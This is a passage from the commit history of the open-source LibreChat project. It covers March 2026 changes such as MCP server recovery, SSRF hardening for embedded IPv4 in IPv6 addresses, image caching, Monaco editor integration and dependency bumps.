- auto-discovered path: same assertions for the branchless path
- root URL: asserts discovery is called only once when the server URL
  already has no path component

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* refactor: use discoverWithOriginFallback in discoverMetadata too

Remove the inline duplicate of the origin-fallback logic from
`discoverMetadata` and replace it with a call to the shared
`discoverWithOriginFallback` helper, giving all three discovery
sites a single implementation.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* test: use mock.calls + .href/.toString() for URL assertions

Replace brittle `toHaveBeenNthCalledWith(new URL(...))` comparisons
with `expect.any(URL)` matchers and explicit `.href`/`.toString()`
checks on the captured call args, consistent with the existing
mock.calls pattern used throughout handler.test.ts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-03-10 15:04:35 -04:00
matt burnett
ad5c51f62b
⛈️ fix: MCP Reconnection Storm Prevention with Circuit Breaker, Backoff, and Tool Stubs (#12162)
* fix: MCP reconnection stability - circuit breaker, throttling, and cooldown retry

* Comment and logging cleanup

* fix broken tests
2026-03-10 14:21:36 -04:00
Danny Avila
cfbe812d63
v0.8.3 (#12161)
Some checks failed
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Publish `@librechat/client` to NPM / build-and-publish (push) Has been cancelled
Publish `librechat-data-provider` to NPM / build (push) Has been cancelled
Publish `@librechat/data-schemas` to NPM / build-and-publish (push) Has been cancelled
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Has been cancelled
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Has been cancelled
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Has been cancelled
Publish `librechat-data-provider` to NPM / publish-npm (push) Has been cancelled
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Has been cancelled
*  v0.8.3

* chore: Bump package versions and update configuration

- Updated package versions for @librechat/api (1.7.25), @librechat/client (0.4.54), librechat-data-provider (0.8.302), and @librechat/data-schemas (0.0.38).
- Incremented configuration version in librechat.example.yaml to 1.3.6.

* feat: Add OpenRouter headers to OpenAI configuration

- Introduced 'X-OpenRouter-Title' and 'X-OpenRouter-Categories' headers in the OpenAI configuration for enhanced compatibility with OpenRouter services.
- Updated related tests to ensure the new headers are correctly included in the configuration responses.

* chore: Update package versions and dependencies

- Bumped versions for several dependencies including @eslint/eslintrc to 3.3.4, axios to 1.13.5, express to 5.2.1, and lodash to 4.17.23.
- Updated @librechat/backend and @librechat/frontend versions to 0.8.3.
- Added new dependencies: turbo and mammoth.
- Adjusted various other dependencies to their latest versions for improved compatibility and performance.
2026-03-09 15:19:57 -04:00
Danny Avila
9cf389715a
📦 chore: bump mermaid and dompurify (#12159)
* 📦 chore: bump `mermaid` and `dompurify`

- Bump mermaid to version 11.13.0 in both package-lock.json and client/package.json.
- Update monaco-editor to version 0.55.1 in both package-lock.json and client/package.json.
- Upgrade @chevrotain packages to version 11.1.2 in package-lock.json.
- Add dompurify as a dependency for monaco-editor in package.json.
- Update d3-format to version 3.1.2 and dagre-d3-es to version 7.0.14 in package-lock.json.
- Upgrade dompurify to version 3.3.2 in package-lock.json.

* chore: update language prop in ArtifactCodeEditor for read-only mode for better UX

- Adjusted the language prop in the MonacoEditor component to use 'plaintext' when in read-only mode, ensuring proper display of content without syntax highlighting.
2026-03-09 14:47:59 -04:00
Airam Hernández Hernández
873f446f8e
🕵️ fix: remoteAgents Field Omitted from Config (#12150)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Waiting to run
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Waiting to run
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Blocked by required conditions
* fix: include remoteAgents config in loadDefaultInterface

The loadDefaultInterface function was not passing the remoteAgents
configuration from librechat.yaml to the permission system, causing
remoteAgents permissions to never update from the YAML config even
when explicitly configured.

This fix adds the missing remoteAgents field to the returned
loadedInterface object, allowing the permission update system to
properly detect and apply remoteAgents configuration from the YAML file.

Fixes remote agents (API) configuration not being applied from librechat.yaml

* test: Add remoteAgents permission tests for USER and ADMIN roles

Introduced new tests to validate the application of remoteAgents configuration in user permissions. The tests cover scenarios for explicit configuration, full enablement, and default role behavior when remoteAgents are not configured. This ensures that permissions are correctly applied based on the provided configuration, addressing a regression related to the omission of remoteAgents in the loadDefaultInterface function.

---------

Co-authored-by: Airam Hernández Hernández <airam.hernandez@intelequia.com>
Co-authored-by: Danny Avila <danny@librechat.ai>
2026-03-09 11:13:53 -04:00
Danny Avila
32cadb1cc5
🩹 fix: MCP Server Recovery from Startup Inspection Failures (#12145)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Waiting to run
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Waiting to run
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Blocked by required conditions
* feat: MCP server reinitialization recovery mechanism

- Added functionality to store a stub configuration for MCP servers that fail inspection at startup, allowing for recovery via reinitialization.
- Introduced `reinspectServer` method in `MCPServersRegistry` to handle reinspection of previously failed servers.
- Enhanced `MCPServersInitializer` to log and manage server initialization failures, ensuring proper handling of inspection failures.
- Added integration tests to verify the recovery process for unreachable MCP servers, ensuring that stub configurations are stored and can be reinitialized successfully.
- Updated type definitions to include `inspectionFailed` flag in server configurations for better state management.

* fix: MCP server handling for inspection failures

- Updated `reinitMCPServer` to return a structured response when the server is unreachable, providing clearer feedback on the failure.
- Modified `ConnectionsRepository` to prevent connections to servers marked as inspection failed, improving error handling.
- Adjusted `MCPServersRegistry` methods to ensure proper management of server states, including throwing errors for non-failed servers during reinspection.
- Enhanced integration tests to validate the behavior of the system when dealing with unreachable MCP servers and inspection failures, ensuring robust recovery mechanisms.

* fix: Clear all cached server configurations in MCPServersRegistry

- Added a comment to clarify the necessity of clearing all cached server configurations when updating a server's configuration, as the cache is keyed by userId without a reverse index for enumeration.

* fix: Update integration test for file_tools_server inspection handling

- Modified the test to verify that the `file_tools_server` is stored as a stub when inspection fails, ensuring it can be reinitialized correctly.
- Adjusted expectations to confirm that the `inspectionFailed` flag is set to true for the stub configuration, enhancing the robustness of the recovery mechanism.

* test: Add unit tests for reinspecting servers in MCPServersRegistry

- Introduced tests for the `reinspectServer` method to validate error handling when called on a healthy server and when the server does not exist.
- Ensured that appropriate exceptions are thrown for both scenarios, enhancing the robustness of server state management.

* test: Add integration test for concurrent reinspectServer calls

- Introduced a new test to validate that multiple concurrent calls to reinspectServer do not crash or corrupt the server state.
- Ensured that at least one call succeeds and any failures are due to the server not being in a failed state, enhancing the reliability of the reinitialization process.

* test: Enhance integration test for concurrent MCP server reinitialization

- Added a new test to validate that concurrent calls to reinitialize the MCP server do not crash or corrupt the server state.
- Ensured that at least one call succeeds and that failures are handled gracefully, improving the reliability of the reinitialization process.
- Reset MCPManager instance after each test to maintain a clean state for subsequent tests.
2026-03-08 21:49:04 -04:00
Danny Avila
8b18a16446
🏷️ chore: Remove Docker Images by Named Tag in deployed-update.js (#12138)
* fix: remove docker images by named tag instead of image ID

* refactor: Simplify rebase logic and enhance error handling in deployed-update script

- Removed unnecessary condition for rebasing, streamlining the update process.
- Renamed variable for clarity when fetching Docker image tags.
- Added error handling to catch and log failures during the update process, ensuring better visibility of issues.
2026-03-08 21:48:22 -04:00
Danny Avila
4a8a5b5994
🔒 fix: Hex-normalized IPv4-mapped IPv6 in Domain Validation (#12130)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Waiting to run
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Waiting to run
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Blocked by required conditions
* 🔒 fix: handle hex-normalized IPv4-mapped IPv6 in domain validation

* fix: Enhance IPv6 private address detection in domain validation

- Added tests for detecting IPv4-compatible, 6to4, NAT64, and Teredo addresses.
- Implemented `extractEmbeddedIPv4` function to identify private IPv4 addresses within various IPv6 formats.
- Updated `isPrivateIP` function to utilize the new extraction logic for improved accuracy in address validation.

* fix: Update private IPv4 detection logic in domain validation

- Enhanced the `isPrivateIPv4` function to accurately identify additional private and non-routable IPv4 ranges.
- Adjusted the return logic in `resolveHostnameSSRF` to utilize the updated private IP detection for improved hostname validation.

* test: Expand private IP detection tests in domain validation

- Added tests for additional private IPv4 ranges including 0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, and 198.18.0.0/15.
- Updated existing tests to ensure accurate detection of private and multicast IP addresses in the `isPrivateIP` function.
- Enhanced `resolveHostnameSSRF` to correctly identify private literal IPv4 addresses without DNS lookup.

* refactor: Rename and enhance embedded IPv4 detection in IPv6 addresses

- Renamed `extractEmbeddedIPv4` to `hasPrivateEmbeddedIPv4` for clarity on its purpose.
- Updated logic to accurately check for private IPv4 addresses embedded in Teredo, 6to4, and NAT64 IPv6 formats.
- Improved the `isPrivateIP` function to utilize the new naming and logic for better readability and accuracy.
- Enhanced documentation for clarity on the functionality of the updated methods.

* feat: Enhance private IPv4 detection in embedded IPv6 addresses

- Added additional checks in `hasPrivateEmbeddedIPv4` to ensure only valid private IPv4 formats are recognized.
- Improved the logic for identifying private IPv4 addresses embedded within various IPv6 formats, enhancing overall accuracy.

* test: Add additional test for hostname resolution in SSRF detection

- Included a new test case in `resolveHostnameSSRF` to validate the detection of private IPv4 addresses embedded in IPv6 formats for the hostname 'meta.example.com'.
- Enhanced existing tests to ensure comprehensive coverage of hostname resolution scenarios.

* fix: Set redirect option to 'manual' in undiciFetch calls

- Updated undiciFetch calls in MCPConnection to include the redirect option set to 'manual' for better control over HTTP redirects.
- Added documentation comments regarding SSRF pre-checks for WebSocket connections, highlighting the limitations of the current SDK regarding DNS resolution.

* test: Add integration tests for MCP SSRF protections

- Introduced a new test suite for MCP SSRF protections, verifying that MCPConnection does not follow HTTP redirects to private IPs and blocks WebSocket connections to private IPs when SSRF protection is enabled.
- Implemented tests to ensure correct behavior of the connection under various scenarios, including redirect handling and WebSocket DNS resolution.

* refactor: Improve SSRF protection logic for WebSocket connections

- Enhanced the SSRF pre-check for WebSocket connections to validate resolved IPs, ensuring that allowlisting a domain does not grant trust to its resolved IPs at runtime.
- Updated documentation comments to clarify the limitations of the current SDK regarding DNS resolution and the implications for SSRF protection.

* test: Enhance MCP SSRF protection tests for redirect handling and WebSocket connections

- Updated tests to ensure that MCPConnection does not follow HTTP redirects to private IPs, regardless of SSRF protection settings.
- Added checks to verify that WebSocket connections to hosts resolving to private IPs are blocked, even when SSRF protection is disabled.
- Improved documentation comments for clarity on the behavior of the tests and the implications for SSRF protection.

* test: Refactor MCP SSRF protection test for WebSocket connection errors

- Updated the test to use `await expect(...).rejects.not.toThrow(...)` for better readability and clarity.
- Simplified the error handling logic while ensuring that SSRF rejections are correctly validated during connection failures.
2026-03-07 20:13:52 -05:00
Danny Avila
2ac62a2e71
fix: Resolve Agent Provider Endpoint Type for File Upload Support (#12117)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Waiting to run
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Waiting to run
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Blocked by required conditions
* chore: Remove unused setValueOnChange prop from MCPServerMenuItem component

* fix: Resolve agent provider endpoint type for file upload support

When using the agents endpoint with a custom provider (e.g., Moonshot),
the endpointType was resolving to "agents" instead of the provider's
actual type ("custom"), causing "Upload to Provider" to not appear in
the file attach menu.

Adds `resolveEndpointType` utility in data-provider that follows the
chain: endpoint (if not agents) → agent.provider → agents. Applied
consistently across AttachFileChat, DragDropContext, useDragHelpers,
and AgentPanel file components (FileContext, FileSearch, Code/Files).

* refactor: Extract useAgentFileConfig hook, restore deleted tests, fix review findings

- Extract shared provider resolution logic into useAgentFileConfig hook
  (Finding #2: DRY violation across FileContext, FileSearch, Code/Files)
- Restore 18 deleted test cases in AttachFileMenu.spec.tsx covering
  agent capabilities, SharePoint, edge cases, and button state
  (Finding #1: accidental test deletion)
- Wrap fileConfigEndpoint in useMemo in AttachFileChat (Finding #3)
- Fix misleading test name in AgentFileConfig.spec.tsx (Finding #4)
- Fix import order in FileSearch.tsx, FileContext.tsx, Code/Files.tsx (Finding #5)
- Add comment about cache gap in useDragHelpers (Finding #6)
- Clarify resolveEndpointType JSDoc (Finding #7)

* refactor: Memoize Footer component for performance optimization

- Converted Footer component to a memoized version to prevent unnecessary re-renders.
- Improved import structure by adding memo to the React import statement for clarity.

* chore: Fix remaining review nits

- Widen useAgentFileConfig return type to EModelEndpoint | string
- Fix import order in FileContext.tsx and FileSearch.tsx
- Remove dead endpointType param from setupMocks in AttachFileMenu test

* fix: Pass resolved provider endpoint to file upload validation

AgentPanel file components (FileContext, FileSearch, Code/Files) were
hardcoding endpointOverride to "agents", causing both client-side
validation (file limits, MIME types) and server-side validation to
use the agents config instead of the provider-specific config.

Adds endpointTypeOverride to UseFileHandling params so endpoint and
endpointType can be set independently. Components now pass the
resolved provider name and type from useAgentFileConfig, so the full
fallback chain (provider → custom → agents → default) applies to
file upload validation on both client and server.

* test: Verify any custom endpoint is document-supported regardless of name

Adds parameterized tests with arbitrary endpoint names (spaces, hyphens,
colons, etc.) confirming that all custom endpoints resolve to
document-supported through resolveEndpointType, both as direct
endpoints and as agent providers.

* fix: Use || for provider fallback, test endpointOverride wiring

- Change providerValue ?? to providerValue || so empty string is
  treated as "no provider" consistently with resolveEndpointType
- Add wiring tests to CodeFiles, FileContext, FileSearch verifying
  endpointOverride and endpointTypeOverride are passed correctly
- Update endpointOverride JSDoc to document endpointType fallback
2026-03-07 10:45:43 -05:00
Danny Avila
cfaa6337c1
📦 chore: Bump express-rate-limit to v8.3.0 (#12115)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Waiting to run
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Waiting to run
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Blocked by required conditions
2026-03-06 19:18:35 -05:00
Danny Avila
b93d60c416
🎞️ refactor: Image Rendering with Preview Caching and Layout Reservation (#12114)
* refactor: Update Image Component to Remove Lazy Loading and Enhance Rendering

- Removed the react-lazy-load-image-component dependency from the Image component, simplifying the image loading process.
- Updated the Image component to use a standard <img> tag with async decoding for improved performance and user experience.
- Adjusted related tests to reflect changes in image rendering behavior and ensure proper functionality without lazy loading.

* refactor: Enhance Image Handling and Caching Across Components

- Introduced a new previewCache utility for managing local blob preview URLs, improving image loading efficiency.
- Updated the Image component and related parts (FileRow, Files, Part, ImageAttachment, LogContent) to utilize cached previews, enhancing rendering performance and user experience.
- Added width and height properties to the Image component for better layout management and consistency across different usages.
- Improved file handling logic in useFileHandling to cache previews during file uploads, ensuring quick access to image data.
- Enhanced overall code clarity and maintainability by streamlining image rendering logic and reducing redundancy.

* refactor: Enhance OpenAIImageGen Component with Image Dimensions

- Added width and height properties to the OpenAIImageGen component for improved image rendering and layout management.
- Updated the Image component usage within OpenAIImageGen to utilize the new dimensions, enhancing visual consistency and performance.
- Improved code clarity by destructuring additional properties from the attachment object, streamlining the component's logic.

* refactor: Implement Image Size Caching in DialogImage Component

- Introduced an imageSizeCache to store and retrieve image sizes, enhancing performance by reducing redundant fetch requests.
- Updated the getImageSize function to first check the cache before making network requests, improving efficiency in image handling.
- Added decoding attribute to the image element for optimized rendering behavior.

* refactor: Enhance UserAvatar Component with Avatar Caching and Error Handling

- Introduced avatar caching logic to optimize avatar resolution based on user ID and avatar source, improving performance and reducing redundant image loads.
- Implemented error handling for failed image loads, allowing for fallback to a default avatar when necessary.
- Updated UserAvatar props to streamline the interface by removing the user object and directly accepting avatar-related properties.
- Enhanced overall code clarity and maintainability by refactoring the component structure and logic.

* fix: Layout Shift in Message and Placeholder Components for Consistent Height Management

- Adjusted the height of the PlaceholderRow and related message components to ensure consistent rendering with a minimum height of 31px.
- Updated the MessageParts and ContentRender components to utilize a minimum height for better layout stability.
- Enhanced overall code clarity by standardizing the structure of message-related components.

* tests: Update FileRow Component to Prefer Cached Previews for Image Rendering

- Modified the image URL selection logic in the FileRow component to prioritize cached previews over file paths when uploads are complete, enhancing rendering performance and user experience.
- Updated related tests to reflect changes in image URL handling, ensuring accurate assertions for both preview and file path scenarios.
- Introduced a fallback mechanism to use file paths when no preview exists, improving robustness in file handling.

* fix: Image cache lifecycle and dialog decoding

- Add deletePreview/clearPreviewCache to previewCache.ts for blob URL cleanup
- Wire deletePreview into useFileDeletion to revoke blobs on file delete
- Move dimensionCache.set into useMemo to avoid side effects during render
- Extract IMAGE_MAX_W_PX constant (512) to document coupling with max-w-lg
- Export _resetImageCaches for test isolation
- Change DialogImage decoding from "sync" to "async" to avoid blocking main thread

* fix: Avatar cache invalidation and cleanup

- Include avatarSrc in cache invalidation to prevent stale avatars
- Remove unused username parameter from resolveAvatar
- Skip caching when userId is empty to prevent cache key collisions

* test: Fix test isolation and type safety

- Reset module-level dimensionCache/paintedUrls in beforeEach via _resetImageCaches
- Replace any[] with typed mock signature in cn mock for both test files

* chore: Code quality improvements from review

- Use barrel imports for previewCache in Files.tsx and Part.tsx
- Single Map.get with truthy check instead of has+get in useEventHandlers
- Add JSDoc comments explaining EmptyText margin removal and PlaceholderRow height
- Fix FileRow toast showing "Deleting file" when file isn't actually deleted (progress < 1)

* fix: Address remaining review findings (R1-R3)

- Add deletePreview calls to deleteFiles batch path to prevent blob URL leaks
- Change useFileDeletion import from deep path to barrel (~/utils)
- Change useMemo to useEffect for dimensionCache.set (side effect, not derived value)

* fix: Address audit comments 2, 5, and 7

- Fix files preservation to distinguish null (missing) from [] (empty) in finalHandler
- Add auto-revoke on overwrite in cachePreview to prevent leaked blobs
- Add removePreviewEntry for key transfer without revoke
- Clean up stale temp_file_id cache entry after promotion to permanent file_id
2026-03-06 19:09:52 -05:00
Lionel Ringenbach
6d0938be64
🔒 refactor: Set ALLOW_SHARED_LINKS_PUBLIC to false by Default (#12100)
* fix: default ALLOW_SHARED_LINKS_PUBLIC to false for security

Shared links were publicly accessible by default when
ALLOW_SHARED_LINKS_PUBLIC was not explicitly set, which could lead to
unintentional data exposure. Users may assume their authentication
settings protect shared links when they do not.

This changes the default behavior so shared links require JWT
authentication unless ALLOW_SHARED_LINKS_PUBLIC is explicitly set to
true.

* Document ALLOW_SHARED_LINKS_PUBLIC in .env.example

Add comment explaining ALLOW_SHARED_LINKS_PUBLIC setting.

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Danny Avila <danacordially@gmail.com>
2026-03-06 19:05:56 -05:00
Airam Hernández Hernández
cc3d62c640
🛡️ fix: Add Permission Guard for Temporary Chat Visibility (#12107)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
- Add useHasAccess hook for TEMPORARY_CHAT permission type
- Conditionally render TemporaryChat component based on user permissions
- Ensures feature respects role-based access control

Co-authored-by: Airam Hernández Hernández <airam.hernandez@intelequia.com>
2026-03-06 17:55:05 -05:00
Carolina
3a73907daa
📐 fix: Replace JS Image Scaling with CSS Viewport Constraints (#12089)
* fix: remove scaleImage function that stretched vertical images

* chore: lint

* refactor: Simplify Image Component Usage Across Chat Parts

- Removed height and width props from the Image component in various parts (Files, Part, ImageAttachment, LogContent) to streamline image rendering.
- Introduced a constant for maximum image height in the Image component for consistent styling.
- Updated related components to utilize the new simplified Image component structure, enhancing maintainability and reducing redundancy.

* refactor: Simplify LogContent and Enhance Image Component Tests

- Removed height and width properties from the ImageAttachment type in LogContent for cleaner code.
- Updated the image rendering logic to rely solely on the filepath, improving clarity.
- Enhanced the Image component tests with additional assertions for rendering behavior and accessibility.
- Introduced new tests for OpenAIImageGen to validate image preloading and progress handling, ensuring robust functionality.

---------

Co-authored-by: Danny Avila <danny@librechat.ai>
2026-03-06 16:42:23 -05:00
Danny Avila
771227ecf9
🏎️ refactor: Replace Sandpack Code Editor with Monaco for Artifact Editing (#12109)
* refactor: Code Editor and Auto Scroll Functionality

- Added a useEffect hook in CodeEditor to sync streaming content with Sandpack without remounting the provider, improving performance and user experience.
- Updated useAutoScroll to accept an optional editorRef, allowing for dynamic scroll container selection based on the editor's state.
- Refactored ArtifactTabs to utilize the new editorRef in the useAutoScroll hook, ensuring consistent scrolling behavior during content updates.
- Introduced stableFiles and mergedFiles logic in CodeEditor to optimize file handling and prevent unnecessary updates during streaming content changes.

* refactor: Update CodeEditor to Sync Streaming Content Based on Read-Only State

- Modified the useEffect hook in CodeEditor to conditionally sync streaming content with Sandpack only when in read-only mode, preventing unnecessary updates during user edits.
- Enhanced the dependency array of the useEffect hook to include the readOnly state, ensuring accurate synchronization behavior.

* refactor: Monaco Editor for Artifact Code Editing

* refactor: Clean up ArtifactCodeEditor and ArtifactTabs components

- Removed unused scrollbar styles from mobile.css to streamline the code.
- Refactored ArtifactCodeEditor to improve content synchronization and read-only state handling.
- Enhanced ArtifactTabs by removing unnecessary context usage and optimizing component structure for better readability.

* feat: Add support for new artifact type 'application/vnd.ant.react'

- Introduced handling for 'application/vnd.ant.react' in artifactFilename, artifactTemplate, and dependenciesMap.
- Updated relevant mappings to ensure proper integration of the new artifact type within the application.

* refactor:ArtifactCodeEditor with Monaco Editor Configuration

- Added support for disabling validation in the Monaco Editor to improve the artifact viewer/editor experience.
- Introduced a new type definition for Monaco to enhance type safety.
- Updated the handling of the 'application/vnd.ant.react' artifact type to ensure proper integration with the editor.

* refactor: Clean up ArtifactCodeEditor and mobile.css

- Removed unnecessary whitespace in mobile.css for cleaner code.
- Refactored ArtifactCodeEditor to streamline language mapping and type handling, enhancing readability and maintainability.
- Consolidated language and type mappings into dedicated constants for improved clarity and efficiency.

* feat: Integrate Monaco Editor for Enhanced Code Editing Experience

- Added the Monaco Editor as a dependency to improve the code editing capabilities within the ArtifactCodeEditor component.
- Refactored the handling of TypeScript and JavaScript defaults in the Monaco Editor configuration for better type safety and clarity.
- Streamlined the setup for disabling validation, enhancing the artifact viewer/editor experience.

* fix: Update ArtifactCodeEditor to handle null content checks

- Modified conditional checks in ArtifactCodeEditor to use `art.content != null` instead of `art.content` for improved null safety.
- Ensured consistent handling of artifact content across various useEffect hooks to prevent potential errors when content is null.

* fix: Refine content comparison logic in ArtifactCodeEditor

- Updated the condition for checking if the code is not original by removing the redundant null check for `art.content`, ensuring more concise and clear logic.
- This change enhances the readability of the code and maintains the integrity of content comparison within the editor.

* fix: Simplify code comparison logic in ArtifactCodeEditor

- Removed redundant null check for the `code` variable, ensuring a more straightforward comparison with the current update reference.
- This change improves code clarity and maintains the integrity of the content comparison logic within the editor.
2026-03-06 15:02:04 -05:00
Danny Avila
a79f7cebd5
🤖 feat: GPT-5.4 and GPT-5.4-pro Context + Pricing (#12099)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Waiting to run
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Waiting to run
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Blocked by required conditions
*  feat: Add support for new GPT-5.4 and GPT-5.4-pro models

- Introduced new token values and cache settings for 'gpt-5.4' and 'gpt-5.4-pro' in the API model configurations.
- Updated maximum output limits for the new models in the tokens utility.
- Included 'gpt-5.4' and 'gpt-5.4-pro' in the shared OpenAI models list for consistent access across the application.

* 🔧 update: Enhance GPT-5.4 and GPT-5.4-pro model configurations

- Refined token pricing and cache settings for 'gpt-5.4' and 'gpt-5.4-pro' in the API model configurations.
- Added tests for cache multipliers and maximum token limits for the new models.
- Updated shared OpenAI models list to include 'gpt-5.4-thinking' and added a note for verifying pricing before release.

* 🔧 update: Add clarification to token pricing for 'gpt-5.4-pro'

- Added a comment to the 'gpt-5.4-pro' model configuration in tokens.ts to specify that it shares the same token window as 'gpt-5.4', enhancing clarity for future reference.
2026-03-06 02:11:01 -05:00
Danny Avila
3b84cc048a
🧮 fix: XLSX/XLS Upload-as-Text via Buffer-Based SheetJS Parsing (#12098)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
* 🔧 fix: Update Excel sheet parsing to use fs.promises.readFile and correct import for xlsx

- Modified the excelSheetToText function to read the file using fs.promises.readFile instead of directly accessing the file path.
- Updated the import statement for the xlsx library to use the correct read method, ensuring proper functionality in parsing Excel sheets.

* 🔧 fix: Update document parsing methods to use buffer for file reading

- Modified the wordDocToText function to read the file as a buffer using fs.promises.readFile, ensuring compatibility with the mammoth library.
- Updated the excelSheetToText function to read the Excel file as a buffer, addressing issues with the xlsx library's handling of dynamic imports and file access.

* feat: Add tests for empty xlsx document parsing and validate xlsx imports

- Introduced a new test case to verify that the `parseDocument` function correctly handles an empty xlsx file with only a sheet name, ensuring it returns the expected document structure.
- Added a test to confirm that the `xlsx` library exports `read` and `utils` as named imports, validating the functionality of the library integration.
- Included a new empty xlsx file to support the test cases.
2026-03-06 00:21:55 -05:00
Danny Avila
5209f1dc9e
refactor: Optimize Message Re-renders (#12097)
* 🔄 refactor: Update Artifacts and Messages Contexts to Use Latest Message ID and Depth

- Modified ArtifactsContext to retrieve latestMessage using Recoil state management.
- Updated MessagesViewContext to replace latestMessage with latestMessageId and latestMessageDepth for improved clarity and consistency.
- Adjusted various components (HoverButtons, MessageParts, MessageRender, ContentRender) to utilize latestMessageId instead of the entire message object, enhancing performance and reducing unnecessary re-renders.
- Refactored useChatHelpers to extract latestMessageId and latestMessageDepth, streamlining message handling across the application.

* refactor: Introduce PartWithContext Component for Optimized Message Rendering

- Added a new PartWithContext component to encapsulate message part rendering logic, improving context management and reducing redundancy in the ContentParts component.
- Updated MessageRender to utilize the new PartWithContext, streamlining the context provider setup and enhancing code clarity.
- Refactored related logic to ensure proper context values are passed, improving maintainability and performance in message rendering.

* refactor: Update Components to Use Function Declarations and Improve Readability

- Refactored several components (MessageContainer, Markdown, MarkdownCode, MarkdownCodeNoExecution, MarkdownAnchor, MarkdownParagraph, MarkdownImage, TextPart, PlaceholderRow) to use function declarations instead of arrow functions, enhancing readability and consistency across the codebase.
- Added display names to memoized components for better debugging and profiling in React DevTools.
- Improved overall code clarity and maintainability by standardizing component definitions.

* refactor: Standardize MessageRender and ContentRender Components for Improved Clarity

- Refactored MessageRender and ContentRender components to use function declarations, enhancing readability and consistency.
- Streamlined props handling by removing unnecessary parameters and improving the use of hooks for state management.
- Updated memoization and rendering logic to optimize performance and reduce unnecessary re-renders.
- Enhanced overall code clarity and maintainability by standardizing component definitions and structure.

* refactor: Enhance Header Component with Memoization for Performance

- Refactored the Header component to utilize React's memoization by wrapping it with the memo function, improving rendering performance by preventing unnecessary re-renders.
- Changed the export to a memoized version of the Header component, ensuring better debugging with a display name.
- Maintained overall code clarity and consistency in component structure.

* refactor: Transition Components to Use Recoil for State Management

- Updated multiple components (AddMultiConvo, TemporaryChat, HeaderNewChat, PresetsMenu, ModelSelectorChatContext) to utilize Recoil for state management, enhancing consistency and performance.
- Replaced useChatContext with Recoil selectors and atoms, improving data flow and reducing unnecessary re-renders.
- Introduced new selectors for conversation ID and endpoint retrieval, streamlining component logic and enhancing maintainability.
- Improved overall code clarity by standardizing state management practices across components.

* refactor: Integrate getConversation Callback for Enhanced State Management

- Updated multiple components (Mention, ModelSelectorChatContext, ModelSelectorContext, FavoritesList) to utilize a getConversation callback instead of directly accessing conversation state, improving encapsulation and maintainability.
- Refactored useSelectMention hook to accept getConversation, streamlining conversation retrieval and enhancing code clarity.
- Introduced new Recoil selectors for conversation properties, ensuring consistent state management across components.
- Enhanced overall code structure by standardizing the approach to conversation handling, reducing redundancy and improving performance.

* refactor: Optimize LiveAnnouncer Context Value with useMemo

- Updated the LiveAnnouncer component to utilize useMemo for context value creation, enhancing performance by preventing unnecessary recalculations of the context object.
